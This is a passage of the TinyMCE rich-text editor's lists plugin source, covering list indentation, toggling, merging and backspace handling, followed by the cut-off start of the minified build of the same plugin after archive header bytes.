      return nu;
    };
    var baseMerge = function (merger) {
      return function () {
        var objects = new Array(arguments.length);
        for (var i = 0; i < objects.length; i++) {
          objects[i] = arguments[i];
        }
        if (objects.length === 0) {
          throw new Error('Can\'t merge zero objects');
        }
        var ret = {};
        for (var j = 0; j < objects.length; j++) {
          var curObject = objects[j];
          for (var key in curObject) {
            if (hasOwnProperty.call(curObject, key)) {
              ret[key] = merger(ret[key], curObject[key]);
            }
          }
        }
        return ret;
      };
    };
    var merge = baseMerge(shallow);

    var cloneListProperties = function (target, source) {
      target.listType = source.listType;
      target.listAttributes = merge({}, source.listAttributes);
    };
    var previousSiblingEntry = function (entries, start) {
      var depth = entries[start].depth;
      for (var i = start - 1; i >= 0; i--) {
        if (entries[i].depth === depth) {
          return Option.some(entries[i]);
        }
        if (entries[i].depth < depth) {
          break;
        }
      }
      return Option.none();
    };
    var normalizeEntries = function (entries) {
      each(entries, function (entry, i) {
        previousSiblingEntry(entries, i).each(function (matchingEntry) {
          cloneListProperties(entry, matchingEntry);
        });
      });
    };

    var Cell = function (initial) {
      var value = initial;
      var get = function () {
        return value;
      };
      var set = function (v) {
        value = v;
      };
      var clone = function () {
        return Cell(get());
      };
      return {
        get: get,
        set: set,
        clone: clone
      };
    };

    var parseItem = function (depth, itemSelection, selectionState, item) {
      return firstChild(item).filter(isList$1).fold(function () {
        itemSelection.each(function (selection) {
          if (eq(selection.start, item)) {
            selectionState.set(true);
          }
        });
        var currentItemEntry = createEntry(item, depth, selectionState.get());
        itemSelection.each(function (selection) {
          if (eq(selection.end, item)) {
            selectionState.set(false);
          }
        });
        var childListEntries = lastChild(item).filter(isList$1).map(function (list) {
          return parseList(depth, itemSelection, selectionState, list);
        }).getOr([]);
        return currentItemEntry.toArray().concat(childListEntries);
      }, function (list) {
        return parseList(depth, itemSelection, selectionState, list);
      });
    };
    var parseList = function (depth, itemSelection, selectionState, list) {
      return bind(children(list), function (element) {
        var parser = isList$1(element) ? parseList : parseItem;
        var newDepth = depth + 1;
        return parser(newDepth, itemSelection, selectionState, element);
      });
    };
    var parseLists = function (lists, itemSelection) {
      var selectionState = Cell(false);
      var initialDepth = 0;
      return map(lists, function (list) {
        return {
          sourceList: list,
          entries: parseList(initialDepth, itemSelection, selectionState, list)
        };
      });
    };

    var global$8 = tinymce.util.Tools.resolve('tinymce.Env');

    var createTextBlock = function (editor, contentNode) {
      var dom = editor.dom;
      var blockElements = editor.schema.getBlockElements();
      var fragment = dom.createFragment();
      var node, textBlock, blockName, hasContentNode;
      if (editor.settings.forced_root_block) {
        blockName = editor.settings.forced_root_block;
      }
      if (blockName) {
        textBlock = dom.create(blockName);
        if (textBlock.tagName === editor.settings.forced_root_block) {
          dom.setAttribs(textBlock, editor.settings.forced_root_block_attrs);
        }
        if (!NodeType.isBlock(contentNode.firstChild, blockElements)) {
          fragment.appendChild(textBlock);
        }
      }
      if (contentNode) {
        while (node = contentNode.firstChild) {
          var nodeName = node.nodeName;
          if (!hasContentNode && (nodeName !== 'SPAN' || node.getAttribute('data-mce-type') !== 'bookmark')) {
            hasContentNode = true;
          }
          if (NodeType.isBlock(node, blockElements)) {
            fragment.appendChild(node);
            textBlock = null;
          } else {
            if (blockName) {
              if (!textBlock) {
                textBlock = dom.create(blockName);
                fragment.appendChild(textBlock);
              }
              textBlock.appendChild(node);
            } else {
              fragment.appendChild(node);
            }
          }
        }
      }
      if (!editor.settings.forced_root_block) {
        fragment.appendChild(dom.create('br'));
      } else {
        if (!hasContentNode && (!global$8.ie || global$8.ie > 10)) {
          textBlock.appendChild(dom.create('br', { 'data-mce-bogus': '1' }));
        }
      }
      return fragment;
    };

    var outdentedComposer = function (editor, entries) {
      return map(entries, function (entry) {
        var content = fromElements(entry.content);
        return Element.fromDom(createTextBlock(editor, content.dom()));
      });
    };
    var indentedComposer = function (editor, entries) {
      normalizeEntries(entries);
      return composeList(editor.contentDocument, entries).toArray();
    };
    var composeEntries = function (editor, entries) {
      return bind(groupBy(entries, isIndented), function (entries) {
        var groupIsIndented = head(entries).map(isIndented).getOr(false);
        return groupIsIndented ? indentedComposer(editor, entries) : outdentedComposer(editor, entries);
      });
    };
    var indentSelectedEntries = function (entries, indentation) {
      each(filter(entries, isSelected), function (entry) {
        return indentEntry(indentation, entry);
      });
    };
    var getItemSelection = function (editor) {
      var selectedListItems = map(Selection.getSelectedListItems(editor), Element.fromDom);
      return lift2(find(selectedListItems, not(hasFirstChildList)), find(reverse(selectedListItems), not(hasFirstChildList)), function (start, end) {
        return {
          start: start,
          end: end
        };
      });
    };
    var listsIndentation = function (editor, lists, indentation) {
      var entrySets = parseLists(lists, getItemSelection(editor));
      each(entrySets, function (entrySet) {
        indentSelectedEntries(entrySet.entries, indentation);
        before$1(entrySet.sourceList, composeEntries(editor, entrySet.entries));
        remove(entrySet.sourceList);
      });
    };

    var DOM$1 = global$6.DOM;
    var splitList = function (editor, ul, li) {
      var tmpRng, fragment, bookmarks, node, newBlock;
      var removeAndKeepBookmarks = function (targetNode) {
        global$5.each(bookmarks, function (node) {
          targetNode.parentNode.insertBefore(node, li.parentNode);
        });
        DOM$1.remove(targetNode);
      };
      bookmarks = DOM$1.select('span[data-mce-type="bookmark"]', ul);
      newBlock = createTextBlock(editor, li);
      tmpRng = DOM$1.createRng();
      tmpRng.setStartAfter(li);
      tmpRng.setEndAfter(ul);
      fragment = tmpRng.extractContents();
      for (node = fragment.firstChild; node; node = node.firstChild) {
        if (node.nodeName === 'LI' && editor.dom.isEmpty(node)) {
          DOM$1.remove(node);
          break;
        }
      }
      if (!editor.dom.isEmpty(fragment)) {
        DOM$1.insertAfter(fragment, ul);
      }
      DOM$1.insertAfter(newBlock, ul);
      if (NodeType.isEmpty(editor.dom, li.parentNode)) {
        removeAndKeepBookmarks(li.parentNode);
      }
      DOM$1.remove(li);
      if (NodeType.isEmpty(editor.dom, ul)) {
        DOM$1.remove(ul);
      }
    };
    var SplitList = { splitList: splitList };

    var outdentDlItem = function (editor, item) {
      if (is$1(item, 'dd')) {
        mutate(item, 'dt');
      } else if (is$1(item, 'dt')) {
        parent(item).each(function (dl) {
          return SplitList.splitList(editor, dl.dom(), item.dom());
        });
      }
    };
    var indentDlItem = function (item) {
      if (is$1(item, 'dt')) {
        mutate(item, 'dd');
      }
    };
    var dlIndentation = function (editor, indentation, dlItems) {
      if (indentation === 'Indent') {
        each(dlItems, indentDlItem);
      } else {
        each(dlItems, function (item) {
          return outdentDlItem(editor, item);
        });
      }
    };

    var selectionIndentation = function (editor, indentation) {
      var lists = map(Selection.getSelectedListRoots(editor), Element.fromDom);
      var dlItems = map(Selection.getSelectedDlItems(editor), Element.fromDom);
      var isHandled = false;
      if (lists.length || dlItems.length) {
        var bookmark = editor.selection.getBookmark();
        listsIndentation(editor, lists, indentation);
        dlIndentation(editor, indentation, dlItems);
        editor.selection.moveToBookmark(bookmark);
        editor.selection.setRng(Range.normalizeRange(editor.selection.getRng()));
        editor.nodeChanged();
        isHandled = true;
      }
      return isHandled;
    };
    var indentListSelection = function (editor) {
      return selectionIndentation(editor, 'Indent');
    };
    var outdentListSelection = function (editor) {
      return selectionIndentation(editor, 'Outdent');
    };
    var flattenListSelection = function (editor) {
      return selectionIndentation(editor, 'Flatten');
    };

    var updateListStyle = function (dom, el, detail) {
      var type = detail['list-style-type'] ? detail['list-style-type'] : null;
      dom.setStyle(el, 'list-style-type', type);
    };
    var setAttribs = function (elm, attrs) {
      global$5.each(attrs, function (value, key) {
        elm.setAttribute(key, value);
      });
    };
    var updateListAttrs = function (dom, el, detail) {
      setAttribs(el, detail['list-attributes']);
      global$5.each(dom.select('li', el), function (li) {
        setAttribs(li, detail['list-item-attributes']);
      });
    };
    var updateListWithDetails = function (dom, el, detail) {
      updateListStyle(dom, el, detail);
      updateListAttrs(dom, el, detail);
    };
    var removeStyles = function (dom, element, styles) {
      global$5.each(styles, function (style) {
        var _a;
        return dom.setStyle(element, (_a = {}, _a[style] = '', _a));
      });
    };
    var getEndPointNode = function (editor, rng, start, root) {
      var container, offset;
      container = rng[start ? 'startContainer' : 'endContainer'];
      offset = rng[start ? 'startOffset' : 'endOffset'];
      if (container.nodeType === 1) {
        container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
      }
      if (!start && NodeType.isBr(container.nextSibling)) {
        container = container.nextSibling;
      }
      while (container.parentNode !== root) {
        if (NodeType.isTextBlock(editor, container)) {
          return container;
        }
        if (/^(TD|TH)$/.test(container.parentNode.nodeName)) {
          return container;
        }
        container = container.parentNode;
      }
      return container;
    };
    var getSelectedTextBlocks = function (editor, rng, root) {
      var textBlocks = [], dom = editor.dom;
      var startNode = getEndPointNode(editor, rng, true, root);
      var endNode = getEndPointNode(editor, rng, false, root);
      var block;
      var siblings = [];
      for (var node = startNode; node; node = node.nextSibling) {
        siblings.push(node);
        if (node === endNode) {
          break;
        }
      }
      global$5.each(siblings, function (node) {
        if (NodeType.isTextBlock(editor, node)) {
          textBlocks.push(node);
          block = null;
          return;
        }
        if (dom.isBlock(node) || NodeType.isBr(node)) {
          if (NodeType.isBr(node)) {
            dom.remove(node);
          }
          block = null;
          return;
        }
        var nextSibling = node.nextSibling;
        if (global$4.isBookmarkNode(node)) {
          if (NodeType.isTextBlock(editor, nextSibling) || !nextSibling && node.parentNode === root) {
            block = null;
            return;
          }
        }
        if (!block) {
          block = dom.create('p');
          node.parentNode.insertBefore(block, node);
          textBlocks.push(block);
        }
        block.appendChild(node);
      });
      return textBlocks;
    };
    var hasCompatibleStyle = function (dom, sib, detail) {
      var sibStyle = dom.getStyle(sib, 'list-style-type');
      var detailStyle = detail ? detail['list-style-type'] : '';
      detailStyle = detailStyle === null ? '' : detailStyle;
      return sibStyle === detailStyle;
    };
    var applyList = function (editor, listName, detail) {
      if (detail === void 0) {
        detail = {};
      }
      var rng = editor.selection.getRng(true);
      var bookmark;
      var listItemName = 'LI';
      var root = Selection.getClosestListRootElm(editor, editor.selection.getStart(true));
      var dom = editor.dom;
      if (dom.getContentEditable(editor.selection.getNode()) === 'false') {
        return;
      }
      listName = listName.toUpperCase();
      if (listName === 'DL') {
        listItemName = 'DT';
      }
      bookmark = Bookmark.createBookmark(rng);
      global$5.each(getSelectedTextBlocks(editor, rng, root), function (block) {
        var listBlock, sibling;
        sibling = block.previousSibling;
        if (sibling && NodeType.isListNode(sibling) && sibling.nodeName === listName && hasCompatibleStyle(dom, sibling, detail)) {
          listBlock = sibling;
          block = dom.rename(block, listItemName);
          sibling.appendChild(block);
        } else {
          listBlock = dom.create(listName);
          block.parentNode.insertBefore(listBlock, block);
          listBlock.appendChild(block);
          block = dom.rename(block, listItemName);
        }
        removeStyles(dom, block, [
          'margin',
          'margin-right',
          'margin-bottom',
          'margin-left',
          'margin-top',
          'padding',
          'padding-right',
          'padding-bottom',
          'padding-left',
          'padding-top'
        ]);
        updateListWithDetails(dom, listBlock, detail);
        mergeWithAdjacentLists(editor.dom, listBlock);
      });
      editor.selection.setRng(Bookmark.resolveBookmark(bookmark));
    };
    var isValidLists = function (list1, list2) {
      return list1 && list2 && NodeType.isListNode(list1) && list1.nodeName === list2.nodeName;
    };
    var hasSameListStyle = function (dom, list1, list2) {
      var targetStyle = dom.getStyle(list1, 'list-style-type', true);
      var style = dom.getStyle(list2, 'list-style-type', true);
      return targetStyle === style;
    };
    var hasSameClasses = function (elm1, elm2) {
      return elm1.className === elm2.className;
    };
    var shouldMerge = function (dom, list1, list2) {
      return isValidLists(list1, list2) && hasSameListStyle(dom, list1, list2) && hasSameClasses(list1, list2);
    };
    var mergeWithAdjacentLists = function (dom, listBlock) {
      var sibling, node;
      sibling = listBlock.nextSibling;
      if (shouldMerge(dom, listBlock, sibling)) {
        while (node = sibling.firstChild) {
          listBlock.appendChild(node);
        }
        dom.remove(sibling);
      }
      sibling = listBlock.previousSibling;
      if (shouldMerge(dom, listBlock, sibling)) {
        while (node = sibling.lastChild) {
          listBlock.insertBefore(node, listBlock.firstChild);
        }
        dom.remove(sibling);
      }
    };
    var updateList = function (dom, list, listName, detail) {
      if (list.nodeName !== listName) {
        var newList = dom.rename(list, listName);
        updateListWithDetails(dom, newList, detail);
      } else {
        updateListWithDetails(dom, list, detail);
      }
    };
    var toggleMultipleLists = function (editor, parentList, lists, listName, detail) {
      if (parentList.nodeName === listName && !hasListStyleDetail(detail)) {
        flattenListSelection(editor);
      } else {
        var bookmark = Bookmark.createBookmark(editor.selection.getRng(true));
        global$5.each([parentList].concat(lists), function (elm) {
          updateList(editor.dom, elm, listName, detail);
        });
        editor.selection.setRng(Bookmark.resolveBookmark(bookmark));
      }
    };
    var hasListStyleDetail = function (detail) {
      return 'list-style-type' in detail;
    };
    var toggleSingleList = function (editor, parentList, listName, detail) {
      if (parentList === editor.getBody()) {
        return;
      }
      if (parentList) {
        if (parentList.nodeName === listName && !hasListStyleDetail(detail)) {
          flattenListSelection(editor);
        } else {
          var bookmark = Bookmark.createBookmark(editor.selection.getRng(true));
          updateListWithDetails(editor.dom, parentList, detail);
          mergeWithAdjacentLists(editor.dom, editor.dom.rename(parentList, listName));
          editor.selection.setRng(Bookmark.resolveBookmark(bookmark));
        }
      } else {
        applyList(editor, listName, detail);
      }
    };
    var toggleList = function (editor, listName, detail) {
      var parentList = Selection.getParentList(editor);
      var selectedSubLists = Selection.getSelectedSubLists(editor);
      detail = detail ? detail : {};
      if (parentList && selectedSubLists.length > 0) {
        toggleMultipleLists(editor, parentList, selectedSubLists, listName, detail);
      } else {
        toggleSingleList(editor, parentList, listName, detail);
      }
    };
    var ToggleList = {
      toggleList: toggleList,
      mergeWithAdjacentLists: mergeWithAdjacentLists
    };

    var DOM$2 = global$6.DOM;
    var normalizeList = function (dom, ul) {
      var sibling;
      var parentNode = ul.parentNode;
      if (parentNode.nodeName === 'LI' && parentNode.firstChild === ul) {
        sibling = parentNode.previousSibling;
        if (sibling && sibling.nodeName === 'LI') {
          sibling.appendChild(ul);
          if (NodeType.isEmpty(dom, parentNode)) {
            DOM$2.remove(parentNode);
          }
        } else {
          DOM$2.setStyle(parentNode, 'listStyleType', 'none');
        }
      }
      if (NodeType.isListNode(parentNode)) {
        sibling = parentNode.previousSibling;
        if (sibling && sibling.nodeName === 'LI') {
          sibling.appendChild(ul);
        }
      }
    };
    var normalizeLists = function (dom, element) {
      global$5.each(global$5.grep(dom.select('ol,ul', element)), function (ul) {
        normalizeList(dom, ul);
      });
    };
    var NormalizeLists = {
      normalizeList: normalizeList,
      normalizeLists: normalizeLists
    };

    var findNextCaretContainer = function (editor, rng, isForward, root) {
      var node = rng.startContainer;
      var offset = rng.startOffset;
      var nonEmptyBlocks, walker;
      if (node.nodeType === 3 && (isForward ? offset < node.data.length : offset > 0)) {
        return node;
      }
      nonEmptyBlocks = editor.schema.getNonEmptyElements();
      if (node.nodeType === 1) {
        node = global$1.getNode(node, offset);
      }
      walker = new global$2(node, root);
      if (isForward) {
        if (NodeType.isBogusBr(editor.dom, node)) {
          walker.next();
        }
      }
      while (node = walker[isForward ? 'next' : 'prev2']()) {
        if (node.nodeName === 'LI' && !node.hasChildNodes()) {
          return node;
        }
        if (nonEmptyBlocks[node.nodeName]) {
          return node;
        }
        if (node.nodeType === 3 && node.data.length > 0) {
          return node;
        }
      }
    };
    var hasOnlyOneBlockChild = function (dom, elm) {
      var childNodes = elm.childNodes;
      return childNodes.length === 1 && !NodeType.isListNode(childNodes[0]) && dom.isBlock(childNodes[0]);
    };
    var unwrapSingleBlockChild = function (dom, elm) {
      if (hasOnlyOneBlockChild(dom, elm)) {
        dom.remove(elm.firstChild, true);
      }
    };
    var moveChildren = function (dom, fromElm, toElm) {
      var node, targetElm;
      targetElm = hasOnlyOneBlockChild(dom, toElm) ? toElm.firstChild : toElm;
      unwrapSingleBlockChild(dom, fromElm);
      if (!NodeType.isEmpty(dom, fromElm, true)) {
        while (node = fromElm.firstChild) {
          targetElm.appendChild(node);
        }
      }
    };
    var mergeLiElements = function (dom, fromElm, toElm) {
      var node, listNode;
      var ul = fromElm.parentNode;
      if (!NodeType.isChildOfBody(dom, fromElm) || !NodeType.isChildOfBody(dom, toElm)) {
        return;
      }
      if (NodeType.isListNode(toElm.lastChild)) {
        listNode = toElm.lastChild;
      }
      if (ul === toElm.lastChild) {
        if (NodeType.isBr(ul.previousSibling)) {
          dom.remove(ul.previousSibling);
        }
      }
      node = toElm.lastChild;
      if (node && NodeType.isBr(node) && fromElm.hasChildNodes()) {
        dom.remove(node);
      }
      if (NodeType.isEmpty(dom, toElm, true)) {
        dom.$(toElm).empty();
      }
      moveChildren(dom, fromElm, toElm);
      if (listNode) {
        toElm.appendChild(listNode);
      }
      var contains = contains$1(Element.fromDom(toElm), Element.fromDom(fromElm));
      var nestedLists = contains ? dom.getParents(fromElm, NodeType.isListNode, toElm) : [];
      dom.remove(fromElm);
      each(nestedLists, function (list) {
        if (NodeType.isEmpty(dom, list) && list !== dom.getRoot()) {
          dom.remove(list);
        }
      });
    };
    var mergeIntoEmptyLi = function (editor, fromLi, toLi) {
      editor.dom.$(toLi).empty();
      mergeLiElements(editor.dom, fromLi, toLi);
      editor.selection.setCursorLocation(toLi);
    };
    var mergeForward = function (editor, rng, fromLi, toLi) {
      var dom = editor.dom;
      if (dom.isEmpty(toLi)) {
        mergeIntoEmptyLi(editor, fromLi, toLi);
      } else {
        var bookmark = Bookmark.createBookmark(rng);
        mergeLiElements(dom, fromLi, toLi);
        editor.selection.setRng(Bookmark.resolveBookmark(bookmark));
      }
    };
    var mergeBackward = function (editor, rng, fromLi, toLi) {
      var bookmark = Bookmark.createBookmark(rng);
      mergeLiElements(editor.dom, fromLi, toLi);
      var resolvedBookmark = Bookmark.resolveBookmark(bookmark);
      editor.selection.setRng(resolvedBookmark);
    };
    var backspaceDeleteFromListToListCaret = function (editor, isForward) {
      var dom = editor.dom, selection = editor.selection;
      var selectionStartElm = selection.getStart();
      var root = Selection.getClosestListRootElm(editor, selectionStartElm);
      var li = dom.getParent(selection.getStart(), 'LI', root);
      var ul, rng, otherLi;
      if (li) {
        ul = li.parentNode;
        if (ul === editor.getBody() && NodeType.isEmpty(dom, ul)) {
          return true;
        }
        rng = Range.normalizeRange(selection.getRng(true));
        otherLi = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
        if (otherLi && otherLi !== li) {
          if (isForward) {
            mergeForward(editor, rng, otherLi, li);
          } else {
            mergeBackward(editor, rng, li, otherLi);
          }
          return true;
        } else if (!otherLi) {
          if (!isForward) {
            flattenListSelection(editor);
            return true;
          }
        }
      }
      return false;
    };
    var removeBlock = function (dom, block, root) {
      var parentBlock = dom.getParent(block.parentNode, dom.isBlock, root);
      dom.remove(block);
      if (parentBlock && dom.isEmpty(parentBlock)) {
        dom.remove(parentBlock);
      }
    };
    var backspaceDeleteIntoListCaret = function (editor, isForward) {
      var dom = editor.dom;
      var selectionStartElm = editor.selection.getStart();
      var root = Selection.getClosestListRootElm(editor, selectionStartElm);
      var block = dom.getParent(selectionStartElm, dom.isBlock, root);
      if (block && dom.isEmpty(block)) {
        var rng = Range.normalizeRange(editor.selection.getRng(true));
        var otherLi_1 = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root);
        if (otherLi_1) {
          editor.undoManager.transact(function () {
            removeBlock(dom, block, root);
            ToggleList.mergeWithAdjacentLists(dom, otherLi_1.parentNode);
            editor.selection.select(otherLi_1, true);
            editor.selection.collapse(isForward);
          });
          return true;
        }
      }
      return false;
    };
    var backspaceDeleteCaret = function (editor, isForward) {
      return backspaceDeleteFromListToListCaret(editor, isForward) || backspaceDeleteIntoListCaret(editor, isForward);
    };
    var backspaceDeleteRange = function (editor) {
      var selectionStartElm = editor.selection.getStart();
      var root = Selection.getClosestListRootElm(editor, selectionStartElm);
      var startListParent = editor.dom.getParent(selectionStartElm, 'LI,DT,DD', root);
      if (startListParent || Selection.getSelectedListItems(editor).length > 0) {
        editor.undoManager.transact(function () {
          editor.execCommand('Delete');
          NormalizeLists.normalizeLists(editor.dom, editor.getBody());
        });
        return true;
      }
      return false;
    };
    var backspaceDelete = function (editor, isForward) {
      return editor.selection.isCollapsed() ? backspaceDeleteCaret(editor, isForward) : backspaceDeleteRange(editor);
    };
    var setup = function (editor) {
      editor.on('keydown', function (e) {
        if (e.keyCode === global$3.BACKSPACE) {
          if (backspaceDelete(editor, false)) {
            e.preventDefault();
          }
        } else if (e.keyCode === global$3.DELETE) {
          if (backspaceDelete(editor, true)) {
            e.preventDefault();
          }
        }
      });
    };
    var Delete = {
      setup: setup,
      backspaceDelete: backspaceDelete
    };

    var get = function (editor) {
      return {
        backspaceDelete: function (isForward) {
          Delete.backspaceDelete(editor, isForward);
        }
      };
    };
    var Api = { get: get };

    var queryListCommandState = function (editor, listName) {
      return function () {
        var parentList = editor.dom.getParent(editor.selection.getStart(), 'UL,OL,DL');
        return parentList && parentList.nodeName === listName;
      };
    };
    var register = function (editor) {
      editor.on('BeforeExecCommand', function (e) {
        var cmd = e.command.toLowerCase();
        if (cmd === 'indent') {
          indentListSelection(editor);
        } else if (cmd === 'outdent') {
          outdentListSelection(editor);
        }
      });
      editor.addCommand('InsertUnorderedList', function (ui, detail) {
        ToggleList.toggleList(editor, 'UL', detail);
      });
      editor.addCommand('InsertOrderedList', function (ui, detail) {
        ToggleList.toggleList(editor, 'OL', detail);
      });
      editor.addCommand('InsertDefinitionList', function (ui, detail) {
        ToggleList.toggleList(editor, 'DL', detail);
      });
      editor.addCommand('RemoveList', function () {
        flattenListSelection(editor);
      });
      editor.addQueryStateHandler('InsertUnorderedList', queryListCommandState(editor, 'UL'));
      editor.addQueryStateHandler('InsertOrderedList', queryListCommandState(editor, 'OL'));
      editor.addQueryStateHandler('InsertDefinitionList', queryListCommandState(editor, 'DL'));
    };
    var Commands = { register: register };

    var shouldIndentOnTab = function (editor) {
      return editor.getParam('lists_indent_on_tab', true);
    };
    var Settings = { shouldIndentOnTab: shouldIndentOnTab };

    var setupTabKey = function (editor) {
      editor.on('keydown', function (e) {
        if (e.keyCode !== global$3.TAB || global$3.metaKeyPressed(e)) {
          return;
        }
        editor.undoManager.transact(function () {
          if (e.shiftKey ? outdentListSelection(editor) : indentListSelection(editor)) {
            e.preventDefault();
          }
        });
      });
    };
    var setup$1 = function (editor) {
      if (Settings.shouldIndentOnTab(editor)) {
        setupTabKey(editor);
      }
      Delete.setup(editor);
    };
    var Keyboard = { setup: setup$1 };

    var findIndex = function (list, predicate) {
      for (var index = 0; index < list.length; index++) {
        var element = list[index];
        if (predicate(element)) {
          return index;
        }
      }
      return -1;
    };
    var listState = function (editor, listName) {
      return function (e) {
        var ctrl = e.control;
        editor.on('NodeChange', function (e) {
          var tableCellIndex = findIndex(e.parents, NodeType.isTableCellNode);
          var parents = tableCellIndex !== -1 ? e.parents.slice(0, tableCellIndex) : e.parents;
          var lists = global$5.grep(parents, NodeType.isListNode);
          ctrl.active(lists.length > 0 && lists[0].nodeName === listName);
        });
      };
    };
    var register$1 = function (editor) {
      var hasPlugin = function (editor, plugin) {
        var plugins = editor.settings.plugins ? editor.settings.plugins : '';
        return global$5.inArray(plugins.split(/[ ,]/), plugin) !== -1;
      };
      if (!hasPlugin(editor, 'advlist')) {
        editor.addButton('numlist', {
          active: false,
          title: 'Numbered list',
          cmd: 'InsertOrderedList',
          onPostRender: listState(editor, 'OL')
        });
        editor.addButton('bullist', {
          active: false,
          title: 'Bullet list',
          cmd: 'InsertUnorderedList',
          onPostRender: listState(editor, 'UL')
        });
      }
      editor.addButton('indent', {
        icon: 'indent',
        title: 'Increase indent',
        cmd: 'Indent'
      });
    };
    var Buttons = { register: register$1 };

    global.add('lists', function (editor) {
      Keyboard.setup(editor);
      Buttons.register(editor);
      Commands.register(editor);
      return Api.get(editor);
    });
    function Plugin () {
    }

    return Plugin;

}(window));
})();
PK�\d[���KXiXilists/plugin.min.jsnu�[���!function(u){"use strict";var e,n,t,r,o,i,s,a,c,f=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),l=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),m=tinymce.util.Tools.resolve("tinymce.util.VK"),p=tinymce.util.Tools.resolve("tinymce.dom.BookmarkManager"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),g=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),h=function(e){return e&&"BR"===e.nodeName},y=function(e){return e&&3===e.nodeType},N=function(e){return e&&/^(OL|UL|DL)$/.test(e.nodeName)},S=function(e){return e&&/^(OL|UL)$/.test(e.nodeName)},C=function(e){return e&&/^(DT|DD)$/.test(e.nodeName)},O=function(e){return e&&/^(LI|DT|DD)$/.test(e.nodeName)},b=function(e){return e&&/^(TH|TD)$/.test(e.nodeName)},T=h,E=function(e,n){return n&&!!e.schema.getTextBlockElements()[n.nodeName]},L=function(e,n){return e&&e.nodeName in n},D=function(e,n){return!!h(n)&&!(!e.isBlock(n.nextSibling)||h(n.previousSibling))},w=function(e,n,t){var r=e.isEmpty(n);return!(t&&0<e.select("span[data-mce-type=bookmark]",n).length)&&r},k=function(e,n){return e.isChildOf(n,e.getRoot())},A=function(e,n){if(y(e))return{container:e,offset:n};var t=d.getNode(e,n);return y(t)?{container:t,offset:n>=e.childNodes.length?t.data.length:0}:t.previousSibling&&y(t.previousSibling)?{container:t.previousSibling,offset:t.previousSibling.data.length}:t.nextSibling&&y(t.nextSibling)?{container:t.nextSibling,offset:0}:{container:e,offset:n}},x=function(e){var n=e.cloneRange(),t=A(e.startContainer,e.startOffset);n.setStart(t.container,t.offset);var r=A(e.endContainer,e.endOffset);return n.setEnd(r.container,r.offset),n},R=g.DOM,I=function(o){var i={},e=function(e){var n,t,r;t=o[e?"startContainer":"endContainer"],r=o[e?"startOffset":"endOffset"],1===t.nodeType&&(n=R.create("span",{"data-mce-type":"bookmark"}),t.hasChildNodes()?(r=Math.min(r,t.childNodes.length-1),e?t.insertBefore(n,t.childNodes[r]):R.insertAfter(n,t.childNodes[r])):t.appendChild(n),t=n,r=0),i[e?"startContainer":"endContainer"]=t,i[e?"startOffset":"endOffset"]=r};return e(!0),o.collapsed||e(),i},_=function(o){function e(e){var n,t,r;n=r=o[e?"startContainer":"endContainer"],t=o[e?"startOffset":"endOffset"],n&&(1===n.nodeType&&(t=function(e){for(var n=e.parentNode.firstChild,t=0;n;){if(n===e)return t;1===n.nodeType&&"bookmark"===n.getAttribute("data-mce-type")||t++,n=n.nextSibling}return-1}(n),n=n.parentNode,R.remove(r),!n.hasChildNodes()&&R.isBlock(n)&&n.appendChild(R.create("br"))),o[e?"startContainer":"endContainer"]=n,o[e?"startOffset":"endOffset"]=t)}e(!0),e();var n=R.createRng();return n.setStart(o.startContainer,o.startOffset),o.endContainer&&n.setEnd(o.endContainer,o.endOffset),x(n)},B=function(){},P=function(e){return function(){return e}},M=function(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return!t.apply(null,e)}},U=P(!1),F=P(!0),j=function(){return H},H=(e=function(e){return e.isNone()},r={fold:function(e,n){return e()},is:U,isSome:U,isNone:F,getOr:t=function(e){return e},getOrThunk:n=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:P(null),getOrUndefined:P(undefined),or:t,orThunk:n,map:j,each:B,bind:j,exists:U,forall:F,filter:j,equals:e,equals_:e,toArray:function(){return[]},toString:P("none()")},Object.freeze&&Object.freeze(r),r),$=function(t){var e=P(t),n=function(){return o},r=function(e){return e(t)},o={fold:function(e,n){return n(t)},is:function(e){return t===e},isSome:F,isNone:U,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:n,orThunk:n,map:function(e){return $(e(t))},each:function(e){e(t)},bind:r,exists:r,forall:r,filter:function(e){return e(t)?o:H},toArray:function(){return[t]},toString:function(){return"some("+t+")"},equals:function(e){return e.is(t)},equals_:function(e,n){return e.fold(U,function(e){return n(t,e)})}};return o},q={some:$,none:j,from:function(e){return null===e||e===undefined?H:$(e)}},W=function(n){return function(e){return function(e){if(null===e)return"null";var n=typeof e;return"object"===n&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"===n&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":n}(e)===n}},V=W("string"),z=W("array"),K=W("boolean"),X=W("function"),Q=W("number"),Y=Array.prototype.slice,G=Array.prototype.push,J=function(e,n){for(var t=e.length,r=new Array(t),o=0;o<t;o++){var i=e[o];r[o]=n(i,o)}return r},Z=function(e,n){for(var t=0,r=e.length;t<r;t++)n(e[t],t)},ee=function(e,n){for(var t=[],r=0,o=e.length;r<o;r++){var i=e[r];n(i,r)&&t.push(i)}return t},ne=function(e,n,t){return Z(e,function(e){t=n(t,e)}),t},te=function(e,n){for(var t=0,r=e.length;t<r;t++){var o=e[t];if(n(o,t))return q.some(o)}return q.none()},re=function(e,n){return function(e){for(var n=[],t=0,r=e.length;t<r;++t){if(!z(e[t]))throw new Error("Arr.flatten item "+t+" was not an array, input: "+e);G.apply(n,e[t])}return n}(J(e,n))},oe=function(e){return 0===e.length?q.none():q.some(e[0])},ie=function(e){return 0===e.length?q.none():q.some(e[e.length-1])},ue=(X(Array.from)&&Array.from,"undefined"!=typeof u.window?u.window:Function("return this;")()),se=function(e,n){return function(e,n){for(var t=n!==undefined&&null!==n?n:ue,r=0;r<e.length&&t!==undefined&&null!==t;++r)t=t[e[r]];return t}(e.split("."),n)},ae=function(e,n){var t=se(e,n);if(t===undefined||null===t)throw new Error(e+" not available on this browser");return t},ce=function(e){var 